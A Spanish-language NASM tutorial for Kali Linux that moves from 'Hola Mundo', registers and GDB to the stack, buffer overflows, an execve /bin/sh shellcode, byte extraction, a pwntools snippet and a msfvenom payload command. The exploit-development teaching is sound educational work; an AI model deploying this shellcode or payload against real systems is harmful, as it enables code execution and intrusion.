NASM en Kali Linux: Guía Rápida

 https://www.onlinetis.com/es/

NASM en Kali Linux: Guía Rápida

Usar NASM (Netwide Assembler) en Kali Linux es una excelente forma de entender cómo funciona realmente la arquitectura de una computadora y cómo se comunica el software con el hardware.

Aquí tienes una guía rápida para configurar tu entorno y crear tu primer programa "Hola Mundo".


1. Instalación de NASM

Kali suele venir con muchas herramientas, pero si no tienes NASM instalado, abre la terminal y ejecuta:

Bash
sudo apt update
sudo apt install nasm binutils -y
  • nasm: El ensamblador que convierte tu código fuente en código objeto.

  • binutils: Contiene ld (el enlazador), que convierte el código objeto en un ejecutable.


2. Estructura básica de un programa (x86_64)

Para sistemas de 64 bits, un programa sencillo se divide generalmente en tres secciones:

SecciónPropósito
section .dataDonde declaras variables inicializadas (como mensajes).
section .bssDonde reservas espacio para datos no inicializados.
section .textDonde va el código real del programa.

3. Ejemplo: "Hola Mundo" en Español

Crea un archivo llamado hola.asm con tu editor favorito (nano, mousepad, o VS Code) y pega esto:

Fragmento de código
section .data
    msg db "¡Hola desde Kali Linux!", 10  ; 10 es el código para salto de línea

section .text
    global _start

_start:
    ; --- Escribir el mensaje en pantalla (Syscall write) ---
    mov rax, 1          ; ID de la llamada al sistema para 'write'
    mov rdi, 1          ; File descriptor: 1 es stdout (pantalla)
    mov rsi, msg        ; Puntero al mensaje
    mov rdx, 25         ; Longitud del mensaje
    syscall             ; Llamada al kernel

    ; --- Salir del programa (Syscall exit) ---
    mov rax, 60         ; ID para 'exit'
    xor rdi, rdi        ; Código de error 0 (limpia rdi)
    syscall

4. Compilación y Ejecución

Sigue estos pasos en la terminal para ver tu programa en acción:

  1. Ensamblar: Convierte el .asm en un archivo objeto .o.

    Bash
    nasm -f elf64 hola.asm -o hola.o
    
  2. Enlazar: Crea el ejecutable final.

    Bash
    ld hola.o -o hola
    
  3. Ejecutar:

    Bash
    ./hola
    

Un pequeño consejo de "amigo"

Si estás aprendiendo esto para temas de Exploit Development o ingeniería inversa (muy común en Kali), te recomiendo familiarizarte con el comando gdb (GNU Debugger). Es el mejor compañero de NASM para ver qué está pasando dentro de los registros de la CPU mientras tu código corre.

 

Los registros son, en pocas palabras, pequeñas "celdas de memoria" de altísima velocidad que viven dentro del procesador (CPU). A diferencia de la memoria RAM, que está "lejos", los registros están integrados en el núcleo, por lo que el acceso a ellos es casi instantáneo.

En la arquitectura x86_64 (la que usa Kali Linux por defecto), los registros tienen una jerarquía y propósitos específicos que es vital entender para programar en NASM.


1. La Jerarquía de Tamaño

Un error común es pensar que RAX, EAX y AX son cosas totalmente distintas. En realidad, son "ventanas" al mismo registro.

  • RAX: El registro completo de 64 bits.

  • EAX: Los 32 bits inferiores de RAX.

  • AX: Los 16 bits inferiores de RAX.

  • AL / AH: Los 8 bits inferiores / superiores de AX.

Esta estructura permite que el procesador sea compatible con código antiguo (Legacy) y maneje datos pequeños sin desperdiciar espacio.


2. Registros de Propósito General

Aunque puedes usar casi cualquier registro para lo que quieras, por convención y eficiencia, cada uno tiene un "trabajo" preferido:

RegistroNombre técnicoUso común en Ensamblador
RAXAccumulatorSe usa para operaciones aritméticas y para almacenar el valor de retorno de una función.
RBXBaseSe usa como puntero base para acceso a datos en memoria.
RCXCounterEl contador favorito para los bucles (loops).
RDXDataExtensión de RAX; se usa en multiplicaciones/divisiones y para definir puertos de E/S.
RSI / RDISource / Destination IndexFundamentales para copiar bloques de datos (Source = Origen, Destination = Destino).
RSPStack Pointer¡Cuidado con este! Apunta al tope de la "Pila" (Stack). No lo toques a menos que sepas qué haces.
RBPBase PointerApunta a la base del marco de la función actual.

3. Registros de Parámetros (System Calls)

En Linux, cuando haces una syscall (como hicimos en el "Hola Mundo"), los registros actúan como los "argumentos" de una función en C. El orden estándar es:

  1. RAX: El número de la función (ej. 1 para escribir, 60 para salir).

  2. RDI: Primer argumento.

  3. RSI: Segundo argumento.

  4. RDX: Tercer argumento.

  5. R10, R8, R9: Argumentos adicionales.


4. ¿Cómo se ve esto en el código?

Mira este ejemplo rápido de suma:

Fragmento de código
mov rax, 10    ; Ponemos 10 en RAX
add rax, 5     ; Sumamos 5 a lo que había en RAX (ahora vale 15)
mov rbx, rax   ; Copiamos el valor de RAX a RBX

Un dato curioso (y útil)

Si alguna vez ves la instrucción xor rax, rax, no te asustes. Es la forma más rápida y eficiente que tienen los programadores de ensamblador para poner un registro a cero. Es más veloz que usar mov rax, 0.

 

GDB (GNU Debugger) es como tener rayos X para tu código. En lugar de adivinar qué hay en los registros, vamos a verlos cambiar en vivo.

Para que esto sea interesante, vamos a usar un programa que mueva datos entre registros.


1. El Código de Prueba (prueba.asm)

Crea este archivo para tener algo que inspeccionar:

Fragmento de código
section .text
    global _start

_start:
    mov rax, 0x1234      ; Ponemos un valor hexadecimal en RAX
    mov rbx, 0x5678      ; Ponemos otro en RBX
    add rax, rbx         ; Sumamos RBX a RAX
    
    ; Salida limpia
    mov rax, 60
    xor rdi, rdi
    syscall

Importante: Compilar con símbolos de depuración

Para que GDB sea útil, necesitamos incluir información adicional al compilar (la bandera -g):

  1. Ensamblar: nasm -f elf64 -g prueba.asm -o prueba.o

  2. Enlazar: ld prueba.o -o prueba


2. Entrando en el Laboratorio (GDB)

Ejecuta GDB apuntando a tu programa:

Bash
gdb -q ./prueba

(La opción -q es para el modo "quiet", sin el texto legal de bienvenida).

Comandos esenciales dentro de GDB:

  • break _start: Pone un "punto de interrupción" al inicio. El programa se detendrá ahí.

  • run (o r): Inicia la ejecución.

  • layout regs: ¡Este es el truco pro! Divide la pantalla para mostrarte los registros arriba y el código abajo en tiempo real.

  • stepi (o si): Ejecuta una sola instrucción de ensamblador.

  • info registers (o i r): Muestra el valor de todos los registros si no estás en modo layout.


3. La Experiencia en Tiempo Real

Una vez dentro de GDB, escribe esto en orden:

  1. break _start

  2. run

  3. layout regs

Ahora, cada vez que presiones Enter (que repite el último comando, en este caso stepi), verás cómo los valores en la parte superior cambian. Si un valor cambia, GDB suele resaltarlo en otro color.

¿Qué observar?

  • Mira cómo RAX pasa de 0 a 0x1234.

  • Mira cómo después de la instrucción add, RAX contiene la suma de ambos.

  • Observa el registro RIP (Instruction Pointer); este es el que dice "estoy ejecutando la línea X". Cambia con cada paso.


4. Tip Extra: Ver un registro específico

Si solo te interesa uno, puedes pedirlo directamente:

print /x $rax (Muestra RAX en hexadecimal).

print /d $rax (Muestra RAX en decimal).


Vamos a ensuciarnos las manos con un bucle (loop). En ensamblador, los bucles son geniales porque ves exactamente cómo la CPU salta de un lado a otro en la memoria.

Para esto usaremos el registro RCX (el contador) y la instrucción loop.


1. El Código: bucle.asm

Este programa simplemente contará del 5 al 1 y luego saldrá.

Fragmento de código
section .text
    global _start

_start:
    mov rcx, 5          ; Inicializamos el contador en 5

ciclo:
    ; --- Aquí iría tu código (ej. imprimir algo) ---
    ; Por ahora, solo restaremos para ver el registro
    
    dec rcx             ; Decrementa RCX en 1 (opcional si usas 'loop')
    jnz ciclo           ; Salta a 'ciclo' si RCX no es cero (Jump if Not Zero)

    ; Salida del programa
    mov rax, 60
    xor rdi, rdi
    syscall

Nota: La instrucción loop de x86 hace lo mismo que dec rcx + jnz automáticamente, pero usar saltos condicionales como jnz es más común en código moderno.


2. Preparando la "Cacería" en GDB

Compila igual que antes para que tengamos los símbolos:

  1. nasm -f elf64 -g bucle.asm -o bucle.o

  2. ld bucle.o -o bucle

  3. gdb -q ./bucle


3. El Experimento en Vivo

Una vez dentro de GDB, vamos a usar una técnica para ver cómo "salta" el código:

  1. break _start: Ponemos la pausa inicial.

  2. run: Arrancamos.

  3. layout asm: Este modo es mejor para bucles, porque resalta la línea de código exacta que se va a ejecutar.

  4. layout regs: Para ver los números cambiar arriba.

¿Qué buscar mientras presionas stepi?

  • Observa RCX: Verás cómo baja de 5 a 4, de 4 a 3...

  • Observa el EFLAGS register: Cuando RCX llega a 0, la "Zero Flag" (ZF) cambiará de estado. La instrucción jnz mira esa bandera para decidir si vuelve arriba o si sigue de largo.

  • Mira la flecha en el código: Verás que cuando llega a la línea del salto, la flecha "brinca" físicamente hacia arriba de nuevo a la etiqueta ciclo.


4. Reto rápido

Si te fijas en los registros, hay uno llamado RIP (Instruction Pointer). Es la dirección de memoria de la instrucción que se va a ejecutar a continuación.

Truco: Si escribes p /x $rip verás la dirección actual. Si lo haces justo antes y después del salto, verás cómo el número cambia drásticamente.

 

 

¡Genial! Vamos a subir de nivel. Leer desde el teclado es un poco más complejo porque necesitamos interactuar con el Kernel de Linux a través de una "System Call" (llamada al sistema) y usar una sección de memoria especial para guardar lo que el usuario escriba.

Para esto, usaremos la sección .bss (Block Started by Symbol), que es donde reservamos espacio para datos que aún no conocemos.


1. El Código: leer.asm

Este programa te pedirá tu nombre (máximo 16 caracteres) y luego lo guardará en la memoria.

Fragmento de código
section .data
    pregunta db "Introduce tu nombre: ", 0
    len_pregunta equ $ - pregunta

section .bss
    nombre resb 16      ; Reservamos 16 bytes en memoria para el nombre

section .text
    global _start

_start:
    ; --- 1. Imprimir la pregunta (sys_write) ---
    mov rax, 1          ; ID write
    mov rdi, 1          ; stdout
    mov rsi, pregunta   ; Dirección del texto
    mov rdx, len_pregunta
    syscall

    ; --- 2. Leer desde el teclado (sys_read) ---
    mov rax, 0          ; ID read (0 es para lectura)
    mov rdi, 0          ; stdin (teclado)
    mov rsi, nombre     ; Dirección donde guardaremos los datos
    mov rdx, 16         ; Tamaño máximo a leer
    syscall             ; ¡Aquí el programa se detiene y espera a que escribas!

    ; --- 3. Salir (sys_exit) ---
    mov rax, 60
    xor rdi, rdi
    syscall

2. Compilación y Depuración Pro

Como ya sabes usar GDB, vamos a usarlo para ver cómo se llena la memoria.

  1. nasm -f elf64 -g leer.asm -o leer.o

  2. ld leer.o -o leer

  3. gdb -q ./leer

Pasos en GDB para ver la memoria:

  1. break _start

  2. run

  3. nexti (o ni): Usa ni varias veces hasta pasar la línea del segundo syscall. GDB te pedirá que escribas algo en la terminal. Escribe tu nombre (ej: "Juan") y pulsa Enter.

  4. x/s &nombre: Este comando es "eXamine as String". Le estamos pidiendo a GDB que nos muestre qué hay en la dirección de memoria de la etiqueta nombre.


3. ¿Qué está pasando con los registros?

Fíjate en algo muy interesante: después de que el segundo syscall (el de lectura) termina, el registro RAX no vuelve a 0.

  • RAX ahora contiene el número de caracteres que escribiste (incluyendo el salto de línea \n).

  • Si escribiste "Pepe", RAX valdrá 5. Esto es súper útil para saber cuánto espacio real ocupó la entrada del usuario.


4. Un pequeño "Hacker Tip"

En Kali Linux, entender esto es la base de los Buffer Overflows. Si te fijas, reservamos 16 bytes para nombre.

Pregunta retórica: ¿Qué pasaría si el usuario escribe 50 letras en lugar de 16?

El programa intentará meter 50 letras en un hueco de 16, "desbordando" la memoria y escribiendo encima de otros datos o registros. Así es como nacen muchos exploits.

 

Para que el programa sea "educado", vamos a encadenar dos llamadas a sys_write. La primera imprimirá "Hola, " y la segunda imprimirá lo que acabamos de guardar en el buffer nombre.

Aquí es donde los registros se vuelven tus mejores amigos, porque tienes que ser muy preciso con las direcciones de memoria.


1. El Código: hola_nombre.asm

Copia este código. He añadido un pequeño truco: usamos rdx para imprimir exactamente la cantidad de letras que el usuario escribió (que, como recordamos, el sistema nos devuelve en rax tras el read).

Fragmento de código
section .data
    pregunta db "Introduce tu nombre: ", 0
    len_pregunta equ $ - pregunta
    saludo db "Hola, ", 0
    len_saludo equ $ - saludo

section .bss
    nombre resb 32      ; Espacio para 32 caracteres

section .text
    global _start

_start:
    ; --- 1. Pedir el nombre ---
    mov rax, 1
    mov rdi, 1
    mov rsi, pregunta
    mov rdx, len_pregunta
    syscall

    ; --- 2. Leer el nombre ---
    mov rax, 0
    mov rdi, 0
    mov rsi, nombre
    mov rdx, 32
    syscall
    
    ; GUARDAMOS el número de bytes leídos (que está en RAX) en R12
    ; para no perderlo, ya que usaremos RAX para el siguiente write.
    mov r12, rax

    ; --- 3. Imprimir "Hola, " ---
    mov rax, 1
    mov rdi, 1
    mov rsi, saludo
    mov rdx, len_saludo
    syscall

    ; --- 4. Imprimir el nombre guardado ---
    mov rax, 1          ; syscall write
    mov rdi, 1          ; stdout
    mov rsi, nombre     ; la dirección donde guardamos el nombre
    mov rdx, r12        ; usamos el valor que guardamos en R12
    syscall

    ; --- 5. Salir ---
    mov rax, 60
    xor rdi, rdi
    syscall

2. El concepto clave: El Flujo de Datos

Es importante visualizar cómo se mueven los datos entre el teclado, los registros y la memoria RAM.

  • Entrada: El teclado envía datos al buffer nombre en la sección .bss.

  • Conteo: El Kernel nos dice en RAX cuántas letras entraron.

  • Preservación: Movemos ese valor a R12 porque los registros son volátiles; si hacemos otra llamada al sistema, el valor original de RAX se pierde.

  • Salida: Usamos ese conteo para decirle al monitor exactamente cuántos bytes debe mostrar de la memoria.


3. Pruébalo en Kali

Ya conoces el ritual:

  1. nasm -f elf64 hola_nombre.asm -o hola_nombre.o

  2. ld hola_nombre.o -o hola_nombre

  3. ./hola_nombre

Un detalle curioso

Si escribes "Mundo" y pulsas Enter, verás que el cursor baja una línea después de imprimir tu nombre. Eso es porque la tecla Enter genera un carácter invisible llamado Line Feed (ASCII 10) que también se guarda en tu buffer.


4. ¿Qué sigue en tu camino de Ninja?

Ahora que ya sabes mover datos, leer y escribir, tienes dos caminos interesantes:

  1. Lógica Matemática: Aprender a hacer comparaciones (cmp) y saltos condicionales (je, jg) para que el programa tome decisiones (ej: "Si el nombre es 'Admin', acceso concedido").

  2. La Pila (Stack): Aprender cómo funciona push y pop, que es la base para entender cómo se pasan argumentos a funciones más complejas.

 

Vamos a construir un sistema de "Puerta de Seguridad" muy básico. Aquí aprenderás a usar la instrucción cmp (compare) y los saltos condicionales, que son el cerebro de cualquier programa.

El objetivo: El programa pide una clave. Si escribes "1234", dice "Acceso Concedido". Si escribes cualquier otra cosa, dice "Error".


1. El Concepto: Banderas (Flags) y Comparación

Cuando ejecutas cmp rax, rbx, el procesador no cambia los números, sino que resta mentalmente uno del otro y actualiza un registro especial llamado EFLAGS.

  • Si el resultado es 0 (los números son iguales), se activa la Zero Flag (ZF).

  • La instrucción je (Jump if Equal) mira esa bandera y decide si salta a otra parte del código.


2. El Código: password.asm

Este código es un poco más técnico porque las cadenas de texto en memoria se comparan letra por letra (o byte por byte).

Fragmento de código
section .data
    msg_pedir    db "Introduce la clave: ", 0
    len_pedir    equ $ - msg_pedir
    clave_real   db "1234", 10        ; La clave correcta (10 es el Enter)
    msg_ok       db "Acceso Concedido", 10
    len_ok       equ $ - msg_ok
    msg_error    db "Acceso Denegado", 10
    len_error    equ $ - msg_error

section .bss
    buffer       resb 10              ; Espacio para la entrada del usuario

section .text
    global _start

_start:
    ; 1. Pedir clave
    mov rax, 1
    mov rdi, 1
    mov rsi, msg_pedir
    mov rdx, len_pedir
    syscall

    ; 2. Leer entrada
    mov rax, 0
    mov rdi, 0
    mov rsi, buffer
    mov rdx, 10
    syscall

    ; 3. COMPARACIÓN (El truco)
    ; Comparamos los primeros 4 bytes de 'buffer' con '1234'
    ; Usamos un registro de 32 bits (eax) para cargar 4 caracteres de golpe
    mov eax, [buffer]       ; Carga los primeros 4 bytes ingresados
    mov ebx, [clave_real]   ; Carga "1234"
    cmp eax, ebx            ; ¿Son iguales?
    je acceso_concedido     ; Si sí, salta a la etiqueta

    ; 4. Si NO saltó, es que hubo error
    mov rax, 1
    mov rdi, 1
    mov rsi, msg_error
    mov rdx, len_error
    syscall
    jmp salir               ; Salto incondicional para no ejecutar lo de abajo

acceso_concedido:
    mov rax, 1
    mov rdi, 1
    mov rsi, msg_ok
    mov rdx, len_ok
    syscall

salir:
    mov rax, 60
    xor rdi, rdi
    syscall

3. ¿Cómo funciona la lógica de salto?

En ensamblador no hay un if/else bonito con llaves {}. El código fluye hacia abajo como una cascada a menos que lo obligues a "brincar".

  • je (Jump if Equal): Salta solo si la comparación fue exitosa.

  • jmp (Jump): Es un salto obligatorio. Lo usamos después del mensaje de error para "saltarnos" la parte del código de éxito, de lo contrario imprimiría ambos mensajes.


4. Reto en Kali

Compila y ejecuta. Intenta entrar con "1234" y luego con "abcd".

Un detalle para expertos: He usado mov eax, [buffer]. Los corchetes [] significan "ve a la dirección de memoria y dame el contenido". Sin los corchetes, estarías comparando las direcciones de memoria (dónde están guardados), no las letras en sí.

 

Prepárate, porque entender la Pila (The Stack) es lo que separa a los novatos de los verdaderos expertos en ciberseguridad y sistemas en Kali Linux.

La Pila es una región de la memoria RAM que funciona bajo el principio LIFO (Last In, First Out): el último dato en entrar es el primero en salir. Imagínalo como una pila de platos: solo puedes poner uno arriba o quitar el que está arriba.


1. Los Protagonistas: RSP, PUSH y POP

Para manejar la pila, el procesador usa un registro especial y dos instrucciones clave:

  • RSP (Stack Pointer): Es el registro que siempre apunta a la dirección de memoria del "plato" que está arriba de todo.

  • PUSH: Pone un valor en la pila (el "plato" nuevo) y mueve el RSP hacia arriba.

  • POP: Saca el valor de arriba, lo guarda donde le digas y mueve el RSP hacia abajo.


2. El Código de Prueba: pila.asm

Vamos a usar la pila para algo divertido: invertir el orden de dos números sin usar un tercer registro.

Fragmento de código
section .text
    global _start

_start:
    mov rax, 0xAAAA      ; Cargamos AAAA en RAX
    mov rbx, 0xBBBB      ; Cargamos BBBB en RBX

    ; --- Guardamos en la pila ---
    push rax             ; La pila ahora tiene [AAAA]
    push rbx             ; La pila ahora tiene [BBBB, AAAA] (BBBB está arriba)

    ; --- Sacamos en orden inverso ---
    pop rax              ; Sacamos el de arriba (BBBB) y lo ponemos en RAX
    pop rbx              ; Sacamos el siguiente (AAAA) y lo ponemos en RBX

    ; Ahora RAX tiene 0xBBBB y RBX tiene 0xAAAA. ¡Magia!

    mov rax, 60
    xor rdi, rdi
    syscall

3. ¿Por qué la Pila es vital en Kali Linux?

Si te interesa el Pentesting o el Exploit Development, la pila es donde ocurre la acción por tres razones:

  1. Argumentos de Funciones: Cuando un programa llama a una función (como printf en C), los datos se suelen pasar a través de la pila.

  2. Direcciones de Retorno: Cuando saltas a una función, la CPU guarda en la pila la dirección de "donde venía". Si un hacker logra escribir en esa parte de la pila, puede hacer que el programa salte a su propio código malicioso (Buffer Overflow).

  3. Variables Locales: Las variables que viven solo dentro de una función se guardan aquí.


4. Verlo en acción con GDB

Compila el código anterior (nasm -f elf64 -g pila.asm -o pila.o && ld pila.o -o pila) y en GDB haz lo siguiente:

  1. break _start

  2. run

  3. layout regs

  4. watch $rsp: Esto le dice a GDB que te avise cada vez que el Stack Pointer cambie.

  5. stepi: Ejecuta los push y verás cómo el valor de RSP disminuye. (Dato curioso: en x86_64, la pila crece hacia abajo, hacia direcciones de memoria más bajas).

¿Cómo ver el contenido de la pila?

Usa el comando:

x/2gx $rsp

(Examina 2 valores Gigantes (64 bits) en HeXadecimal desde donde apunta RSP).

 

Aquí es donde todo se une. En ensamblador, una función es simplemente un bloque de código al que saltas, haces algo y luego regresas exactamente a donde te quedaste.

Para que esto funcione, la CPU usa la pila de forma automática para guardar la "migaja de pan" (la dirección de retorno).


1. Las instrucciones: call y ret

  • call nombre_funcion:

    1. Empuja (PUSH) la dirección de la siguiente instrucción en la pila.

    2. Salta a la etiqueta nombre_funcion.

  • ret (Return):

    1. Saca (POP) la dirección que está en el tope de la pila.

    2. Salta a esa dirección.


2. El Código: funciones.asm

Vamos a crear una función llamada sumar_y_limpiar que sume dos registros y luego regrese.

Fragmento de código
section .text
    global _start

_start:
    mov rax, 10
    mov rbx, 20

    call sumar_y_limpiar    ; Saltamos a la función
    
    ; El programa regresará AQUÍ después del 'ret'
    mov rdi, rax            ; Movemos el resultado (30) a RDI para el exit code
    mov rax, 60             ; syscall: exit
    syscall

sumar_y_limpiar:
    add rax, rbx            ; RAX = RAX + RBX
    ret                     ; ¡Vuelve a la línea después del call!

3. El Experimento en GDB (Lo más importante)

Este es el momento de la verdad. Compila con -g y entra en GDB. Vamos a ver cómo la pila "atrapa" la dirección de retorno.

  1. break _start

  2. run

  3. layout asm

  4. layout regs

  5. Fíjate en la dirección de la instrucción después del call (ejemplo: 0x40101a).

  6. Presiona stepi hasta llegar al call.

  7. Antes de ejecutar el call, mira el valor de RSP.

  8. Ejecuta el call con stepi.

¿Qué pasó?

  • RSP disminuyó 8 bytes.

  • Si haces x/gx $rsp, verás que en el tope de la pila ahora está la dirección 0x40101a. ¡La CPU guardó el camino a casa!


4. Por qué esto es "Hackeable"

Aquí está el secreto mejor guardado de la ciberseguridad en Kali: La dirección de retorno vive en la misma pila que tus variables locales.

Si un programa tiene una variable (un buffer) y el programador no limita cuánto escribes en ella, puedes escribir tantas letras que "pises" la dirección de retorno que el call guardó. Cuando la función ejecute ret, en lugar de volver al programa original, saltará a donde tú le hayas dicho. Eso es un Stack-based Buffer Overflow.


5. Tu Próximo Paso

Ya dominas:

  • Registros (RAX, RBX...)

  • Llamadas al sistema (Read/Write)

  • Comparaciones y Saltos (CMP/JE)

  • La Pila (Push/Pop)

  • Funciones (Call/Ret)

 

¡Esto es subir a la liga de los profesionales! En los lenguajes de alto nivel como C, cuando llamas a una función con muchos parámetros (más de 6 en Linux x86_64), el procesador ya no tiene suficientes registros para todos. ¿Qué hace? Los "apila" uno tras otro.

A este conjunto de reglas se le llama Convención de Llamada (Calling Convention).


1. El Concepto: El "Stack Frame" (Marco de Pila)

Cuando una función recibe argumentos por la pila, se crea un espacio temporal llamado Stack Frame. Usamos el registro RBP (Base Pointer) como un "ancla" para saber dónde empiezan nuestros datos, mientras que RSP sigue moviéndose si necesitamos guardar más cosas.


2. El Código: argumentos.asm

Vamos a crear una función que sume dos números, pero en lugar de usar registros, los leerá directamente de la pila.

Fragmento de código
section .text
    global _start

_start:
    ; --- Pasando argumentos por la pila ---
    push 20             ; Segundo argumento
    push 10             ; Primer argumento (el último en entrar es el primero en salir)

    call mi_suma        ; Llamamos a la función
    
    ; Al volver, RAX tiene el resultado (30)
    ; LIMPIEZA: Como metimos 2 valores de 8 bytes, movemos el RSP 16 bytes
    add rsp, 16         

    mov rdi, rax        ; Resultado a RDI para verlo en el exit code ($?)
    mov rax, 60         ; Exit
    syscall

mi_suma:
    ; --- Prólogo de la función ---
    push rbp            ; Guardamos el RBP del que nos llamó
    mov rbp, rsp        ; Ahora RBP apunta al inicio de nuestra función

    ; Estructura de la pila ahora:
    ; [ RBP antiguo ]  <- RBP y RSP apuntan aquí
    ; [ Ret Address ]  <- RBP + 8
    ; [ 10 (arg1)   ]  <- RBP + 16
    ; [ 20 (arg2)   ]  <- RBP + 24

    mov rax, [rbp + 16] ; Cargamos el 10
    add rax, [rbp + 24] ; Le sumamos el 20

    ; --- Epílogo de la función ---
    pop rbp             ; Restauramos el RBP original
    ret

3. ¿Por qué usamos rbp + 16?

Es la pregunta del millón. Vamos a desglosarlo:

  1. [rbp]: Contiene el RBP anterior (lo guardamos con push rbp).

  2. [rbp + 8]: Contiene la dirección de retorno (la que puso ahí el comando call).

  3. [rbp + 16]: ¡Aquí está nuestro primer número!

Cada "piso" de la pila en 64 bits mide 8 bytes. Por eso saltamos de 8 en 8.


4. Análisis en GDB: "Espiando" el Stack Frame

Compila y carga en GDB (gdb -q ./argumentos):

  1. break mi_suma

  2. run

  3. x/4gx $rsp: Este comando es oro puro. Significa "Examina 4 valores Gigantes (64 bits) en Hexadecimal desde RSP".

Verás algo así:

  • 0x...: (Valor de RBP guardado)

  • 0x...: (Dirección de retorno de _start)

  • 0x000000000000000a: (El número 10 en hexadecimal)

  • 0x0000000000000014: (El número 20 en hexadecimal)


5. Por qué esto es útil en C y C++

Cuando compilas un código en C como mi_funcion(a, b, c, d, e, f, g), el compilador de Linux (GCC) hace esto:

  1. Pone los primeros 6 en registros (RDI, RSI, RDX, RCX, R8, R9).

  2. Pone el 7mo (g) en la pila exactamente como acabamos de hacer nosotros.

Un truco final de "Hacker":

Si después de ejecutar el programa en Kali quieres ver el resultado sin GDB, escribe en la terminal:

echo $?

Esto imprimirá el valor que quedó en RDI al salir (en este caso, 30).

 

¡Bienvenido al "Lado Oscuro"! Lo que vamos a hacer se llama Shellcoding. En ciberseguridad, un shellcode es un conjunto de instrucciones en ensamblador que, al ejecutarse, lanzan una terminal (/bin/sh).

Para lograrlo en Linux x86_64, necesitamos usar la System Call execve (código 59).


1. El Plano de Ataque: execve("/bin/sh", NULL, NULL)

Para que el Kernel nos dé una shell, los registros deben estar así:

  • RAX: 59 (ID de execve).

  • RDI: Dirección de memoria de la cadena "/bin/sh".

  • RSI: 0 (sin argumentos extra).

  • RDX: 0 (sin variables de entorno).


2. El Código: shell.asm

Aquí hay un truco: no podemos usar una sección .data si queremos que este código sea "inyectable" en el futuro. Usaremos la Pila para escribir la ruta "/bin/sh" dinámicamente.

Fragmento de código
section .text
    global _start

_start:
    ; 1. Limpiar registros para evitar basura (y para tener ceros)
    xor rsi, rsi        ; RSI = 0
    push rsi            ; Ponemos un 0 en la pila (terminador de cadena)

    ; 2. Poner "/bin//sh" en la pila (8 bytes en total)
    ; Nota: Usamos doble // para que sumen 8 caracteres exactos
    mov rbx, 0x68732f2f6e69622f  ; "/bin//sh" en hexadecimal (Little Endian)
    push rbx            ; Lo metemos a la pila

    ; 3. Configurar los registros para la Syscall
    mov rdi, rsp        ; RDI apunta al tope de la pila (donde está "/bin//sh")
    xor rdx, rdx        ; RDX = 0
    mov rax, 59         ; RAX = 59 (execve)
    syscall             ; ¡BOOM!

3. ¿Por qué es especial este código?

Si te fijas, no hay sección .data. Todo ocurre en los registros y en la pila. Esto es vital porque en un ataque real (como un Buffer Overflow), tú inyectas este código en la memoria de un programa que ya está corriendo.

Cómo probarlo en Kali:

  1. Ensambla y Enlaza:

    Bash
    nasm -f elf64 shell.asm -o shell.o
    ld shell.o -o shell
    
  2. Ejecuta:

    Bash
    ./shell
    

Si todo sale bien, verás que el prompt de tu terminal cambia o simplemente parece que no pasó nada, pero si escribes whoami o ls, verás que estás dentro de una nueva shell. Para salir, escribe exit.


4. El toque final: Extrayendo los "OpCodes"

Un hacker no envía el archivo .asm, envía los bytes (códigos de operación). Puedes verlos con objdump:

Bash
objdump -d shell

Verás algo como 48 31 f6 56.... Esos números son el verdadero "lenguaje de máquina" que se inyecta en los exploits.


¿Qué sigue ahora?

Has pasado de un "Hola Mundo" a lanzar una shell del sistema. Este es el fundamento de la Ingeniería Inversa y el Desarrollo de Exploits.

 

¡Esto es lo que transforma el código en una "arma" digital! Para un exploit, no puedes enviar el archivo .asm ni el ejecutable; necesitas una cadena de bytes (shellcode) que el programa vulnerable pueda interpretar directamente en la memoria.

En Kali Linux, tenemos herramientas integradas que hacen este trabajo sucio por nosotros.


1. El método "Manual" con objdump

Primero, veamos qué hay dentro de tu ejecutable. Los bytes que ves a la izquierda de las instrucciones son los OpCodes.

Bash
objdump -d shell -M intel

Verás algo como esto:

48 31 f6 56 48 bb 2f 2f 62 69 6e 2f 2f 73 68 53 48 89 e7 48 31 d2 b8 3b 00 00 00 0f 05


2. El comando "Ninja" para extraer la Shellcode

Extraerlos a mano es lento y propenso a errores. Puedes usar este comando "one-liner" en la terminal de Kali para obtener la cadena lista para Python:

Bash
objdump -d shell | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/shellcode = (b"/' | sed 's/$/")/'

Resultado esperado:

shellcode = (b"\x48\x31\xf6\x56\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05")


3. Integración en un Script de Python

Ahora que tienes la cadena, podrías usarla en un script de Pwntools (la librería estándar para explotación en Kali) para enviarla a un proceso vulnerable:

Python
from pwn import *

# Tu shellcode extraída
shellcode = b"\x48\x31\xf6\x56\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05"

# Ejemplo: Inyectarla en un proceso (solo con fines educativos)
p = run_shellcode(shellcode)
p.interactive()

4. El gran problema: Los "Null Bytes" (\x00)

Si miras la shellcode de arriba, verás que tiene varios \x00. En el mundo del hacking, estos son "Bad Characters".

¿Por qué? Muchas funciones de C (como strcpy) interpretan el \x00 como el final de una cadena. Si tu shellcode tiene un cero en medio, el exploit se cortará antes de tiempo y fallará.

¿Cómo evitar los ceros?

Para evitarlos, los hackers usan instrucciones alternativas. Por ejemplo:

  • Mal (genera ceros): mov rax, 59 (porque 59 no llena los 64 bits de RAX, dejando ceros a la izquierda).

  • Bien (sin ceros): ```nasm

    xor rax, rax ; RAX = 0

    add al, 59 ; Ponemos 59 solo en la parte baja (AL)

    
    

5. Herramienta Pro: msfvenom

Kali ya tiene una herramienta que hace todo esto por ti, incluso eliminando los bytes prohibidos:

Bash
msfvenom -p linux/x64/exec CMD="/bin/sh" -f python -b "\x00"
  • -p: Payload (el qué queremos hacer).

  • -f: Formato de salida (Python).

  • -b: Bad characters (evitar el \x00).


¡Has completado el ciclo básico de un desarrollador de exploits! Has escrito el código, entendido la pila, creado una shellcode y aprendido a extraerla.

 

Eliminar los null bytes (\x00) es un rito de iniciación en el shellcoding. Como mencionamos, funciones de C como strcpy interpretan el 00 como el final de una cadena. Si tu shellcode tiene un cero, el exploit se corta y "muere" antes de ejecutarse.

Para limpiar tu código, el truco consiste en nunca usar valores literales pequeños en registros grandes y usar operaciones lógicas.


1. El Problema de los 64 bits

Cuando haces mov rax, 59, el procesador llena los 64 bits. Como 59 es un número pequeño, los bits superiores se rellenan con ceros:

00 00 00 00 00 00 00 3b (El 3b es 59 en hexa).

La Solución: Usar sub-registros

